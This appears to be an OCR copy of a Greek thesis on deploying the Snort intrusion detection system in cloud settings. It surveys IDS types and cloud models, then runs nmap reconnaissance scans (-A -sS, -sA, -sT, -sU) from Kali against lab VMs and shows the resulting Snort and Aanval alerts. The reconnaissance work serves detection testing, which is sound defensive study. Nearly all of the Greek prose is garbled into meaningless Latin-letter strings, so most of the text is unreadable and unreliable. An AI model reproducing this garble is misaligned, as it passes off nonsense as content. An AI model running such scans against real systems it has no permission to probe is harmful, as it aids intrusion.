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Elcaywyn

ITIG MEPEG LOG N XPHoN Tou dladiktuou xeL auénBel oe Tétolo Babuo mou o amAog xprotng eivat
ava maca otypn online péow tou umoAoylotr, Tou tablet i Tou KwvnToU Tou. AUTO £XEL WG
QTTOTEAEOUA Ol £TALPIEG TIAPOXNG UTNPECLWY va TTPOodEPOUV PE XAUNAO 1} KaBOAou KOOTOC
TOLKIAEC edOaPOYEC TTOU €X0OUV va KAvouy Ue To cloud. To o cuvnBlopévo mapadelypa amoteAsl
0 Swpedv amoBNKeUTIKOC XWPOC Leplkwv GB ota omola o xprotng pmopel va aveBaocel apyeia,
dwtoypadiec kat Bivteo.

OL etatpieg amo tnv aAAn €xouv otpadel otig unnpecieg cloud kupiwg Adyw tou YounAotepou
KOOTOUG KaBwe yla mopadelypa efaleidetal To KOOTOG cuvtripnong e€omAlopol. EmumAgoy, ol
UTINpecieg auTég mpoodEpouv peyalUTtepn eukoAia Kal e€olkovounon XpOVOU GE AUTOV TTOU TIG
Slaxelpiletal kabwg £xel Ppepetneiv T dSuvATOTNTA VO TIPAYUATOTIOLEL LOTIKEG EYKATAOTACELG
servers QUECO KoL EUKOAQL.

MapoAa autd, to cloud kpUPeL apkeToUC KIvdUVOUC 6ooV adopd TV achAalela Twv TAnpodopiwy
TIOU €XOUV Va KAVOUV UE TIG BAOIKEG apXEC TNG aoddAelog MAnpodopLWV TNV EUMLOTEUTIKOTNTA,
v AwaBesopotnta kot tnv Akepalotnta. OAeg oL etalple¢ mapoxng umnpeoclwv cloud
StaBeBalwvouv toug teAkolg xprnoteg otL ta dedopéva Toug elval utép to déov aodaln. H
TPAYHOTIKOTNTA OUWG eivat StadopeTikn KabBwg €xouv kataypadel dtadpopwv eldwv emiBEoelg
oe neplBarovta cloud computing mou €xouv va kavouv eite pe Staypadr dedopévwy, elte Pe pn
gfovolobotnuévn mpocoBacn Kat Tpomornoinon mAnpodopLwv.

Ot SLaXELPLOTEG TWV SIKTUOKWY CUCKEUWV ] TWV Servers XpnolLonolouv oe cuvduaopo He Ta
firewalls, Intrusion Detection Systems (IDS) yia tnv avtipetwnion embéoswv. Ta IDS avaluouv
v Slktuakn kivnon A T alayég mMou ylvovtal O KATOLo HNXAVNMO KOL OV gVToTicouv
KaKOBoUAN kivnon eldomolouv Tov SLaXeLpLoTh Toug e kamolo alert. e mepiBaiiovta cloud dev
£XEL EMKPATAOEL N eykataotaon IDS.

IKOTOG TNG €pyaciag autng eivat n avamtuén evog Intrusion Detection System oe mepBdAlov
cloud to omoio Ba mpaypatomnolel eAéyxoug yla pn embupntn kivnon.



1. Intrusion Detection System

1.1 Opwopog

Intrusion Detection (Avixveuon ElofoAng) elval n dtadikaocia eviomiopol kakOBouAng kivnong oe
éva 6iktuo N o€ éva olotnua. Intrusion Detection System (ZUotnua Avixveuong EtoBoAwv) sival
n ebappoyn r 1o GuoIKO cuoTnpa o mapakoAouBel Ty Siktuakn Kivnon 1 To cUoTNUA 0UTWE
WOTE VA EVIOTIOEL TUXOV Opactnplotnta mou mapaflalel tig moAltikég aocdaAeiog. H
Spaoctnplotnta auth umopel va mpokAnBel amd kamolwo malware, kamolov emtiBOépevo mou
nipoomaBel va amokTAoeL TpocBaaon 1 akOUa Kol XPOTEG TWV CUCTNHATWY oV ipoontabolv va
OTTOKTHOOUV TIEPLOCOTEPA SLKOLWUOTA QO QUTA TToU €XouV (T.). Sikawwpota administrator). Ta
neploootepa IDS pmopolv va Asttoupyrioouv kal ocav Intrusion Prevention Systems (Zuotrpata
Anotponn¢ ElofoAwv) epmodilovtag TNV oAOKANPWON TWV EMOECEWV.

1.2 E(8n IDS

Ta IDS ywpilovtal os iadopa £16n avaloya pe To TL mopakoAouBolv:

= Network-Based IDS (NIDS)
= Host-Based IDS (HIDS)

1.2.1 Network-Based IDS

To Network-Based IDS amoteAoUv To 1tLo Kowo ei6o¢ Intrusion Detection Systems. H eykatdotaoh
TOUG €lval eUKOAN Kal n Béon toug oto diktuo elval TETola wote va €xouv T Suvatotnta va
gAéyxouv tnVv SikTuakn Kivnon OAWV TwWV EUMAEKOUEVWY cuoTnuatwy. O €Aeyxog tng Kivnong
TpAyHOTOMOLETOL 08 OAa T emimeda Tou povtédou OSI. Itnv iSla kotnyopia umdyovtat Kat ta
Wireless IDS mou e€eldikevovtal LOVO O0TNV acUPRATH ETILKOWVWVIA KAl £X0UV TV SuvaTOTNTA VA
£AEYXOUV QV KATIOLOG EEWTEPLKOG XPROTNG TpooTaBel va amokTnoeL TPOoPach Og KATIOLO access
point | av UTLAPYOUV rogue access points.

1.2.2 Host-Based IDS

Ta Host-Based IDS eykaBiotavral og cuotrpata mou xpnlouv mapakoAolBnong kat Kavouv
eAéyxoug otig pubpuioelg Twy cuotnudtwy, ota system calls, ota logs, ota processes mou TpEXoLY,
oTNV TMPOOoBacn Kal otnv Tpomomnoinon Twv apyeiwv Kol oTlg aAAOyEG O AELTOUPYLIKO N
edappoyéc. EmumAéov, €Aéyxouv TNV OKepoLOTNTA TWV OESOHEVWVY TWV OCUCTNUATWY, TNV
edappoyn Twv MOALTIKWY achoAelag Kal kavouv avalntnon yia rootkits [1] [2].

1.3 MAeovektiuata kKaOe eidoug

1.3.1 TMAeovektiuata Network-Based IDS
To mAeovektipata evog NIDS elvol Ta apakatw:



i. XaunAd kdotog ouvtipnong: To Network-Based IDS umopel va ulomownBel oe
OTIOLOSNTIOTE TUA A TOU SIKTUOU Kal va opakoAouBEel TNV Kivnon OAWV Twv CUGTNUATWY
TOU SIKTUOU XWPLG TNV EYKOTACTACN KL CUVTPNON KATIOLO AOYLOHLKOU O' aUTdL.

ii.  AmAO otnv edappoyn: To NIDS gival anAd katd tnv edpappoyn tou, Kabwg Sev emnpealel
TO cuUCTAMATA 1) TNV UTtoSOoWN Tou SIkTUoU Tou eAéyxel. Emiong, Sev emnpeadletal amno ta
SladopeTika (6N AEITOUPYIKWYV TTOU £XOUV TAL CUCTAHATA TTOU TTOPAKOAOUBEL.

iii.  Avixveuon emiBéocwv Siktuou: Eva NIDS pnopet va eAéyel emibBéoelg péow SikTUoU o€
avtiBeon pe ta Host-Based NIDS mou 6ev €xouv autr tn duvatotnta. Mo cuyKekpLUéva,
eAéyxeLta headers OAWV TWV MAKETWV YLa TUXOV KOKOBOUAN Kivnon Omwg yLa mapdselypo
ol emiB<oelg TCP SYN kat IP fragmentation.

iv.  Awatipnon otoixeiwv: Eva NIDS ypnoiwuomolet tn live kivnon tou Siktuou yla tov
EVTOTULOWO eTLBECEWV Kall £ToL eV glval ediktn n Staypadr twv evdeifewv tng enibeong
oo Tov EMITOEEVO.

V. EVTOMLONOG O€ TPOYHATLKO XPOVO Kol Apeon avtidpaon: Eva Network-Based IDS eAéyyel
TNV Kivnon o€ MPayUaTiko XpOVo Kal £€ToL eVTOTEL TNV KAKOBOUAN Klvnon Tn OTLyur mou
ouTtn paypatornoleital. Avahoya pe tig pubuioelg tou NIDS, untdpxetl n Suvatotnta va
Slakorel n emiBeon autr mpLv Kav GTACEL 0 KATIOLo cUoTNUA KoL To B€0el o€ kivSuvo.
AvtiBeta, £va HIDS eléyxel T oAAQyEC TIOU yivovtal oto cUOTNUA Kol MEXPL va
avtidpaoel to cloTnua £XEL 6N yivel teBel oe kivduvo.

vi. Evtonmiopog un emtuxnpévwv emBéoswv: Eva NIDS pmopesl va Xpnolpuelosl oTtov
EVTOTILOWMO WN EMITUXNUEVWY eTBEocewV av TortoBetnBel mpwv to firewall mou cuvdéel To
E0WTEPLKO UE TO EEWTEPIKO SIKTUO OTWCE PaivETAL KOL TTAPAKATW. ITNV TEPLMTWAN QAUTH,
ol emBéoelg ou amoppintovral and to firewall kot dev dptdvouv To 0TOXO TOUG, £XOUV
gvtomnotel kol kotaypadel amd to NIDS kat prnopolv va xpnolpomnotnfouv peAhovtikd
YlOL QTTOTPOTL TIOPOOLWY ETUOECEWV.

Firewall

ad/a

Servers

Ewoéva 1. NIDS rtpv to firewall



1.3.2 TMAeovektrjpata Host-Based IDS
Ta mAgovektipata evog HIDS sival Ta mopakatw:

i. EmPeBaiwon ¢ erutuyiag ) anotuyiag pag enibsong: To HIDS xpnotuomnolel ta logs
TOU OUOTNUOTOC TIOU E(vVOL €YKOTEOTNWEVO, yla va kaBoplosl av o emiBeon ntav
ETUTUXNMEVN 1 OXL. AUTO €XeL cov OTMOTEAEOUO O KABOPLOPOG auTog va yivetol pe
peyaAUtepn akpifela kat pe Alyotepa false positives oe oxéon pe éva NIDS.

ii. NapakoAouBnon tTwv SpaoTNELOTATWY Tou cuctipatog: Eva HIDS mapakoAouBel Tig
TMPOOPAOCELG TWV XPNOTWV OE apXeia, TIC GAAAYEC TWV SIKAUWHUATWY TWV XPNOTWV Ot
apxela kaBwg kal Ta login, logouts Twv XpNoTWV Kal TIG TILOAVEG EYKATAOTACELS VEOU
Aoylopikol. Omotadnmote aAlayr) cupBaivel oe enimedo oUCTANATOC KataypAadeTaL
HEow Tou AettoupytkoU oe logs kat £ToL To Host-Based IDS pnopetl evnuepwOel apeca ya
TG KN eTBupnTéG aAAayEg og avtiBeon pe to NIDS.

iii.  Evtomiopog embécewv ou €va NIDS anotuyyavel va evromniost: Eva HIDS pmnopsl va
gvTomioel alayEg TToU €XEL KAVEL OE apXelol TOU CUCTAUATOC €vag LN £€0UCLOSOTNUEVOC
xpriotng. EtoLta HIDS eival Lkava vo TpooTatEYouv To CUCTHLOTO ELTE A0 ECWTEPLKOUG,
elte ano ewtepikolg XpNOTEG.

iv.  Mn-xpnon hardware: To HIDS &ev xpeldletal emutAéov hardware yla va sykataotadet
KaBwg eykabiotatal oto cuotnua mou Ba mapakoAouBEl.

v.  XounAotepo K6otog gykatdotaong: To Host-Based IDS £xel TOAU XaUNAOTEPO KOGTOC
KOTA TNV EYKATAOTACT TOU o€ oX£on pe to NIDS mou xpnotpomnolei 51kd tou hardware [3].

1.4 E(8n IDS pe BAon TOUG LNXOAVLIOKOUG QVIXVEUONG
Ta IDS xwpilovratl kat o SLopopeTKA €16 e BAON TOUG LNXOVLIOUOUG avixveuong eLoBoAwv ou
SlaBétouv. Autd sivad:

= Signature-Based Detection
=  Anomaly-Based Detection

1.4.1 Signature-Based Detection

‘Eva IDS pmnopel va xpnoluomnoliost signatures mou Baocilovtal o untdpyouaoa kivnon oUTwE WoTe
va avayvwplosl Tnv pn embupntn kivnon. Me autov Tov TpOMOo N avoyvwplon ULog enibeong
MTtopel va ylvel EUKOAQ -pLE EAAXLOTN TTAPALETPOTIOLNGN- KO TTOAU ypriyopd. O eTMITIOEUEVOS OUWG
€XEL TN duvaTdTNTO VO TPOTIOTIOLNOEL KATIOLO TIOKETAL KOL VO TIEPACEL AMOPATAPNTOS Ao Ta
Signature-Based IDS. NapoAo mou umtapyel autn n aduvapia, to Signature-Based IDS givat moAU
OKpLPREC oTo €ldo¢ TwV emBEcewv Tou avayvwpilel.

1.4.2 Anomaly-Based Detection

‘Eva Anomaly-Based IDS mapakolouBei tnv Siktuakn kivnon kot evromilel ta dedopéva mou
Tepléxouv AAaBn, dev eival éykupa ) dev eival puoloroyikd. H péBodog auth xpnoLeVEeL otV
aviyveuon kivnong véou tUMoOU Kivnong yla tnv omoia &ev umApXeL Kamolo signature. la
napadelypa, To Anomaly-Based IDS avayvwpilel 6tL éva makéto tou Internet Protocol eival
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TPOTIOTOLNUEVO apa ival pun pucloloyikd aAAa Sev ival tkavo va KataldBel e molov TpOno
£xeL tpomorolnBet [2].
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2. Cloud

2.1 Oplopog

To cloud amoteAel 1O UMOAOYLOTIKO HOVIEAO €KeElvOo TIOU EMUTPEMEL TV TpooPachn o€
KOLVOXPNOTOUG UTIOAOYLOTLKOUG TIOPOUG OTWG €lval servers, Siktua, amoBnkeuTIkOG XWPOG,
epapUoyéG Kol umnpeciec omote o xpnotng to embupel. OL mOpolL autol pmopouv va
Sloxelplotouv eUKoAQ Kol yprRyopa poodEpovTag oTov Xpnotn MoAAAMAEG SuvaToTNTEG OGOV
adopa otnv anobrkeuon Kat atnv enetepyacio Sedopévwy [4] [5].

2.2 Movtéha Yrinpeowv Cloud

To povtéha umnpeolwv tou cloud eivat ta akoAouBa:

= |nfrastructure as a Service (laaS)
= Platform as a Service (Paa$)
= Software as a Service (Saa$)

2.2.11aas

To povtélo Infrastructure as a Service mepl\apBavel tn Baowkr doun tou cloud mou eivat ot
SLIKTUOKEC AELTOUPYIEG, OL UTTOAOYLOTLKOL TTOPOL KOl 0 AMOBNKEUTIKOG XWPoG. H Staxeiplon oAwv
auTtwv propet va yivel ebkoAa kat ypriyopa. Mapadeiypoata laaS amoteAolv to Amazon EC2, to
Google Compute Engine kaL to Microsoft Azure.

2.2.2 PaaS

To povtého Platform as a Service meplhappavel éva meptBdiov yla avamntuén kat Slaxeiplon
edapuoywv, xwpic va acyxoAeital o xpAotng He TN Slaxeiplon Twv mMOpwy, TN CUVTAPNGCN Kot
EVNUEPWON TOU AoyloptkoU Kal tn Slaxeipton tou UAlkou. Mapadsiypato PaaS amoteAolv to
Microsoft Azure kot to Google App Engine.

2.2.3 SaaS

To povtélo Software as a Service mepthappavetl oAokAnpwpéva poidvta (edbapUoyEg) ota omola
v anokAslotikn Staxeiplon €xel o Cloud Service Provider. Ot tehikol xprioteg Sgv aoyxohouvtol
pe TNV Slaxeipon N tnv ouvtnpnon tng umodoung tou cloud mapd pOvVo He TN XPHON TNG
edappoync. Mapadelypota SaasS amoteAoUv ta Google Apps kat to Microsoft 365 [4] [5] [6] [7]
[8].

2.3 MovtéAa Avarttuéng Cloud

To povtéha avantuéng tou cloud mepthapBavouv ta akdAouba eidn:

=  Private Cloud
=  Public Cloud
=  Community Cloud
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=  Hybrid Cloud

2.3.1 Private Cloud

Private cloud ovopddetat to cloud mou n untodopun Ttou PploKeTal OTLG EYKOTACTACELG TNE ETALPLAG
TIOU TO XpNnOLUOToLEl, pe Xprion epyaleiwv virtualization kat Slaxeiplong mépwv. IKOMOG TOU
HOVTEAOU aUTOU elval ab&naon tTnG XPrRong Twv UTTAPXOVTWY UTTOSOUWY TNG eTaLpiag kabwg Sev
nepAapBavel TTOAAA amo TA TMAEOVEKTAMOTA Tou «KAaowkoU» cloud computing Omwg yla
mapAadelypa n apeon aUEOUELWON TWV TTOPWV.

2.3.2 Public Cloud

Public cloud ovopdietat to cloud mou n untodopur tou BpilokeTal OTIG eyKaTAOTACELS Tou cloud
provider. To peyalo mAsovéktnua Tou public cloud eival N onuavtiky peiwaon Tou KOOTOUG o€
ox£on Ue to private. Qotdoo, gysipovtal {ntrpata acdpaielog mAnpodoplwv oto public cloud ta
ormola dev UTIAPXOULV OTO private.

2.3.3 Community Cloud

Community cloud ovopadZetatl to cloud mou n unoSopn tou Bpioketal o dtddopeg statpieg mou
£XoUv KolvoUG TOMelg evlladEpovtog. Ta TAgovekTApaTa TOU community cloud eival n
npocopolwon evog public cloud otig umodouég etalplwv Pe TG (B1eg TIOATIKEG aodAAELAG KAl N
KOTOVOLLA) TOU KOOTOUG OTLG ETALPLEC QUTEG.

2.3.4 Hybrid Cloud

Hybrid cloud ovopaletat to cloud mou amnoteAel cUvBeon 2 1 meplocotépwy edwv (private, public
1 community) ta omolo av Kol TaPAUEVOUV EEXWPLOTEG OVTOTNTEC, £€X0UV cuVOEeBOEel e TéTolov
TPOTIO WOTE VA EMLTPEMOUV TNV petadopd dedopévwy kat edpappoywv amod to eva eidog oto dAlo

(4] [5] [6] [7] [8].
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3. YAomoinon

H ulomoinon tng epyaociag £xeL tn popdn Proof of Concept kaBwg ev emapkoloav oL StaBEatpot
nopoL yla tnv uAomoinon evog meplBdrloviog cloud computing. Mo va eival meplocotepo
PEAALOTIKA Ta amoteAéopata £ylve port scanning oto cloud Okeanos tng GRNET [9]. To cloud
Okeanos eival éva laaS omou pmopel OmMOLOGSATIOTE Ao TO AKASNUAIKO TIPOCWIILKO va
gykatoaotroel Virtual Machines Slapopwv AEITOUPYLKWY CUOTNUATWY Kol va Ta Stoxelpiletal
péow tou Web Interface 1 péow ouvdeong SSH. H uhomoinon tng unodoung €ytve os éva laptop
omou eykataotadnkav VMs Sladopwv Asttoupylkwv péow tou VMware Workstation. Mo
OUYKEKPLUEVA, Xpnowdomolndnkav Ubuntu 14.04 ywa tnv eykataotacn tou IDS kat tnv
gykataotaaon Twv servers, Windows 7 64 bit kat Kali 1 & 2 yia tnv uhomoinon twv enBecswv. To
IDS mou xpnotuornotdnke Atav to Snort otnv ékdoon 2.9.8.0 pe ta snort rules otnv 2.9.7.6. MNa
£UKOAOTEPN avayvwon Twv alerts tou Snort xpnowtomnolnonke to ypadikd neptBdilov tou Aanval
otnv ékdoon 8.

3.1 Snort

To Snort eivat éva Swpeav Network Intrusion Detection System kat Network Intrusion Prevention
System avolytou kwdika. AnpoupynBnke to 1998 amod tov Martin Roesch mou rjtav kat o 16puTig
¢ Sourcefire otnv omola Gvnke to Snort péxpL mou efayopdotnke to 2013 amod tnv Cisco.
Yriootnpilel S1ddpopa AeLTOUPYLIKA CUCTHUOTO:

= Linux

=  FreeBSD

=  OpenBSD

= NetBSD

=  Solaris (Sparc kaL i386)
= HP-UX

= AIX

= |RIX

= MacOS

=  Windows

(10] [11] [12]

3.2 ApXITEKTOVLKA Snort
H apyLtektovikr tou Snort amoteAsital amno ta €n¢ Baoka otolyeia:

= Packet decoder

=  Preprocessors

= Detection engine

= Logging and alerting system
= Qutput modules

14



. ’
Intemet ) ° Packet Decoder

LT
)

peeeeessseneeaaas,
: t

Losging and ! '

- e Logping and 4 ' H
Detection | 1 N '
Preprocessorns \) = ,‘ A = b Alerting ) 33— ) H
LSV Engine L V e !
Svystem : '

. .

Nl Nl ! H

e 1 7| : !

+ Output Alert or §

. .

J’. %L‘ t Logtoafile ;

: :

: :

> o e H

Packet 1s Culput ™\ H ! !

frooped ) y s

droppe Modules 2~ i

H H

: :

| - N

Ewkova 2. Apyttektovikn Snort

3.2.1 Packet Decoder
O packet decoder palelel Ta makeTa amo ta SKTuakd interfaces Tou pnxavAuotog mou sival
EYKATEOTNEVO TO Snort péow tng BLBALoBNKNC libpcap kKal Ta MPoeTOLUATEL YL VO TIEPACOUV ATO

TouG preprocessors. Ta umootnpllopeva interfaces pnmopouv va eival Ethernet, SLIP, PPP kot
AGAAaL.

3.2.2 Preprocessors

OL preprocessors eival ta otolxeio Tou snort mou TAflvopoUv Ta TIAKETA TPV KplBouv wg
KakOBouAa amd tnv detection engine. OpLopévol preprocessors mapayouv alerts étav evtomni{ouv
KOKOPBOUAQ TTOKETO ATTO TLG TPOTIOTIOLOELG TToU €XouV Vivel ota headers touc. EmumpooBEtwe, ot
preprocessors xpnotpomnolovvral yla defragmentation Twv mMakETwy oUTWEG WOTE va lval EPLKTO
va StaBactel 0AGKANPO To TTAKETO yLo va KPLOEL av gival KakoBoulo ) OxL.

3.2.3 Detection Engine

H detection engine amotelel To onuUaVTLKOTEPO oTOLXElO TOU Snort kaBwg Kpivel edv UTIApPYEL
umomntn SpaoctnplotnTa Ot €va TMOKETO. Xpnoldomolel ta rules tou Snort, yla va gAéyEel av
TOLPLATOUV HE KATIOLO TTAKETO. Y€ TEPIMTWON TIOU TALPLAEL KATOoLOo rule pe éva makéto Tote site
eudaviletal alert, eite To makéto anobnkevetal ota logs. Av ev Talplalel pe Kamolo rule tote To
TAKETO Yivetol drop. AOyw Tng UTIAPENG LEYAAOU OYKOU TIOKETWV £(VOIL CNUAVTIKO VA UTIAPYOUV
opketol Slo0£aipol umoloyLoTikol TopoL £€Tol waote va eival propel n detection engine va
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enetepyaleTal TO GUVOAO TOU OYKOU TWV MOKETWY. OL TapAyoVTEG ToU ennpedlouv Tov GOPTo TNG
elvat oL akoAouvBol:

= O aplBuodc twv rules

=  HoxVgtng CPU TOU pUNXavnLoTog o eVl EYKATECTNUEVO TO Short

= Hrtayxltnta Tou ecwteplkol StavAou bus mou xpnotlyomnoleital and to Snort
= O ¢optog tou SikTUoU

ErutAéov, n detection engine pmopei va Slaxwpilosl €va TOKETO O PEPN YLO VA UTOPECEL VA TO
enefepyaotel. Ta uépn autd sivat:

= To IP header tou makétou

= To transport layer header 6nwg eivat ta TCP, UDP kAT

= To application layer header 6nwc eivatl ta DNS, FTP, SNMP.

= To payload tou makétou &dnAadr kamolwo aAdaplBuntikd mou Bploketal péoa ota
S6ebopéva Tou TTaKETOU.

3.2.4 Logging and Alerting System
Ta logs katta alerts tou Snort cuykevipwvovtat oto directory /var/log/snort oe omola popdn €xet
eTAEEEL 0 XprioTtng Tou snort. OL SlaBeoueg popdeg eivat: syslog, pcap, unified2.

3.2.5 Output Modules

To output modules gAéyyouv tL output Byaivel amd to logging and alerting system kat £tot
avAaAoya LLE TNV TIOPALETPOTIOLNCN TIOU €XeL Yivel oTo Snort pmopoUv va €XOUV Ta EMOMEVA
anoteAéopara:

= AmAn kataypaodn twv logs elte oto default directory, eite oe onolodnnote dAAo.

= AnootoAr} SNMP traps.

= AnootolAn twv logs ot syslog server.

=  AnootoAn twv logs o Baon dedopévwy MySQL rj Oracle.

=  Anuoupyia XML apyeiou.

= AAM\ayn mopopetponoinong oe routers kat firewalls.

= AnootoAn Server Message Block (SMB) unvupdtwy o€ pnxaviuata Microsoft Windows.
(10]
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4. EmO£oeLg

To apylkd otadlo pLog enibeong amoteAsital amo tnv avayvwpLlon Tou SIKTUou (reconnaissance).
1o cloud Okeanos xpnowomnowBnke to gpyaleio nmap (meplypadetal MOpAKATW) yla vo
avakaAudpBouv ta umoPrdla Bupata. EMOUVATITETOL TO OXETIKO APXELO LE TA ATMOTEAECLLATA.

i

Okeanos_nmap_result
3

Onwc¢ daivetat umtapyxouv dtadopa Virtual Machines pe avouxtég ports, onwg 21, 22, 25, 80, 443,
8080 kaBw¢ kot MOAEC AMAeg. T va mpocopowwBolv ol SladopeTikoU TUTIOU ETIOECELC
SnuoupynBnkav locally Virtual Machines pe Siadopec ports avolytec.

4.1 EruB€oelg AvayvwpLong

4.1.1 EpyaAeio nmap

To nmap eival éva epyaleio Tou xpnotuomnoleital yia network scanning kat &ivel t duvatotnta
OTOV XPNOTN, Vo oapwoesl peydAa diktua o€ Alyo xpovo. Ta anoteAéopata mou Sivel MepLEXOUV
TIANpodOpPILeG OXETIKA LLE TO AELTOUPYLKO eVOC network element 1y server, Tnv edappoyr) TTou TPEXEL
KOLL TLC port TTou eival avolytég [13].

210 configuration file Tou snort éytvav uncomment oL ypapUEG:
preprocessor sfportscan: proto {all } memcap { 10000000 } sense_level { low }
include SPREPROC_RULE_PATH/preprocessor.rules

ylo va avayvwpLotouv Ta portscans.

‘EToL eKTEAWVTAC TNV EVTOAN:

nmap -A -s$ 192.168.100.4

onou:

-A: avayvwpilel To AeLToupyLKO Kal TV €kdooh Tou

-sS: kAvel TCP SYN scan yla peyaAUtepn toxUTnto oto port scanning

T(POKUTITOUV Ta MOPOKATW amoteAéopata oto Kali.
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:~# nmap -A -sS 192.168.100.4

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-06 22:04 EEST
Nmap scan report for 192.168.100.4
Host is up (0.00049s latency) .
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu@.7-Ubuntu
80/tcp open http Apache httpd 2.4.7
| http-1s: Volume /
| SIZE TIME FILENAME
= 2016-02-06 18:59 html/

http-title: Index of /
443/tcp open ssl/http Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Index of /

|
|_http—ser er-header: Apache/2.4.7 (Ubuntu)
|_|

| ssl-cert: Subject: commonName=orestis site/organizationName=Internet Widgits Pty Ltd/stateOrProvince
Name=Some -State/count ryName=GR

| Not valid before: 2016-02-07T18:28:32

| _Not valid after: 2017-02-06T18:28:32

|_ssl-date: TLS randomness does not represent time

MAC Address: 00:0C:29:B5:0D:94 (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.0

Network Distance: 1 hop

Service Info: Host: 127.0.1.1

TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms 192.168.100.4

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.66 seconds

Ewkéva 3. AnoteAéouara nmap -A -sS

Ot ports Tou elvat avolytég eivat oL 53, 80 & 443, tou onuaivel OTL MpokeLtal yia DNS server mou
elvat mapdAnAa kot Web Server yia http kot https. Qavepéc eival kot ol ekSOOELS TWV
edappoywv Bind (DNS) kat Apache, oL nuepounvieg tou miotonotntikol tou Web server, n MAC
address kaBwc Kal to AeLtoupyLko Kat n £€kdoor) tou (Ubuntu pe Linux kernel 3.2 - 4.0).

To snort epdavice ta mopokdtw alerts.

04/06-22:04:45.751798 [**] [122:1:1] portscan: TCP Portscan [*#*] [Classificatio
n: Attempted Information Leak] [Priority: 2] {PROTO:255} 192.168.100.6 -> 192.16
8.100.4
04/06-22:04:45.751799 [**] [122:1:1] portscan: TCP Portscan [**] [Classificatio
n: Attempted Information Leak] [Priority: 2] {PROTO:255} 192.168.100.6 -> 192.16
8.100.4

04/06-22:04:45.752159 [**] [122:1:1] portscan: TCP Portscan [**] [Classificatio
n: Attempted Information Leak] [Priority: 2] {PROTO:255} 192.168.100.6 -> 192.16
8.100.4

04/06-22:04:45.752161 [**] [122:1:1] portscan: TCP Portscan [**] [Classificatio
n: Attempted Information Leak] [Priority: 2] {PROTO:255} 192.168.100.6 -> 192.16
8.100.4

Ewkéva 4. Snort alerts yia to nmap -A -sS

210 aanval epdaviletal to alert TCP Portscan e eploooTepeC TANpodoplec.
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Event Details

Detailed view of event #251257 in Datastore 1001

Event ID Module Datastore Risk IDS SID IDS CID
251257 Unified2 1001 2 1 797744
Automated Event Validation

Signature

Signature ID GID ([o] Signature Name

1 122 4 portscan: TCP Portscan

Details unavailable

Tags

No assigned tags

Pv4 Header

Source Address ARIN

192.168.100.6 view

Source Hostname

192.168.100.6

ver Hdr Len TOS Length 1D

4 5 162 13486
Flags Offset TTL Chksum

64 48326

Payload HEX

00E0E0E0: B035 0030 6P37 0032 0036 6039 0036 6046 0037 0032 036
0PEEE016: BP32 G030 BB34 0P33 0036 BR46 0037 O35 0036 0045 BO37
00E0E032: B933 0035 6030 0041 0034 G033 0036 6046 0036 0045 036
0PEEE048: BP37 0034 BU36 0P3S 0036 BR46 0036 BB45 0032 0030 O34
000PE064: BO36 0045 BU37 0934 0033 G041 0032 GU30 0033 0036 0036

0039
0034
0045
0033
0041

Date / Time

06-04-2016 22:04:45

Destination Address

192.168.100.4

Destination Hostname

192.168.100.4

8837
8833
8836
8836
8834

06834
06841
0635
0646
0639

8037
8032
8036
8837
8035

ee39
ee3e
ee33
ee3s
ee3e

< >
Delete
Delete
Category Name
attempted-recon
Add Tag~

ARIN

view

|5672696F72697479|
| 20436F756E743A20 |
| 350A436F6EBEGBS63 |
| 7T4696FBE20436F75 |
| 6E7T43A20360A4950 |

Ewkova 5. Aanval alert yia to nmap -A -sS

ExteAwvtag TNV eVtoAn:
nmap -sA 192.168.100.4
omnou:

-sA: TCP ACK scan

Sev epdavilovral anoteAéopata oto Kali kaBwg 1o ouykekpluévo scan gpdavilel povo otL ol
ports eival unfilterted xwpig va Eexwpilel av eivatl avolytég f kAswotég. Emiong, to snort dev

gudavilel kamolo alert.

Mapopola anoteAéopota EXOUHE He Ta -sY, -sW & -sM.

EkTeAWVTOC TNV EVTOAN:
nmap -sT 192.168.100.4
onou:

-sT: TCP Connect scan

eudavilovral oL avolyteg ports oto Kali.
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~# nmap -sT 192.168.100.4

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-10 21:23 EEST
‘Nmap scan report for 192.168.100.4

Host is up (0.0012s latency).

Not shown: 997 closed ports

IPORT STATE SERVICE

[53/tcp open domain

180/tcp open http

443/tcp open https

MAC Address: 00:0C:29:B5:0D:94 (VMware)

|
Nmap done: 1 IP address (1 host up) scanned in 13.28 seconds

Ewkova 6. AntoteAéouata nmap -sT

Ko to alert TCP Portscan oto web interface tou snort to Aanval.

Submit

Event Details

Detailed view of event #273476 in Datastore 1001

Module Datastore Risk DS SID Date / Time

Unified2 1001 2 1 10-04-2016 21:23:36
Automated Event Validation
Signature ID GID CID Category Name
1 122 4 por TCP Portscan attempted-recon
Details unavailable
No assigned tags
Pv4 Heade
Source Address ARIN Destination Address ARIN
192.168.100.6 view 192.168.100.4 view
Source Hostname Destination Hostname
192.168.100.6 192.168.100.4
Ver Hdr Len TC Length 1D
4 5 35
Flags Offset TTL Chksum

64 61792

Payload HEX

00PEEEEE: 0034 0046 0037 0030 0036 0035 EO36 0045 0032 Q030 0035 PO30 0036 P46 0037 0032 |4FTO65G6E20506F72|
0OPEEE16: 0037 0034 0033 0041 0032 0030 0033 0034 0033 0034 0033 0O33 0030 0041 .... .... | 743A203434330A. . |

Payload ASC!

Ewdva 7. Aanval alert yia to nmap -sT

Delete

Delete

AddTag~
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EkteAwvTag TNV EVIOAR:

nmap -sU 192.168.100.4

omou:

-sT: UDP scan

gudavilovral oL avolytég ports oto Kali, aAAG TO CUYKEKPLUEVO SCan ATIALTEL TApOAVW XPOVO.

:~# nmap -sU 192.168.100.4

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-10 21:33 EEST

Stats: 0:04:58 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 34.65% done; ETC: 21:47 (0:08:59 remaining)
Stats: 0:07:28 elapsed; 0 hosts completed (1 up 1 undergoing UDP Scan

UDP Scan Timing: About 49.50% done; ETC: 21:48 (0:07:25 remaining)
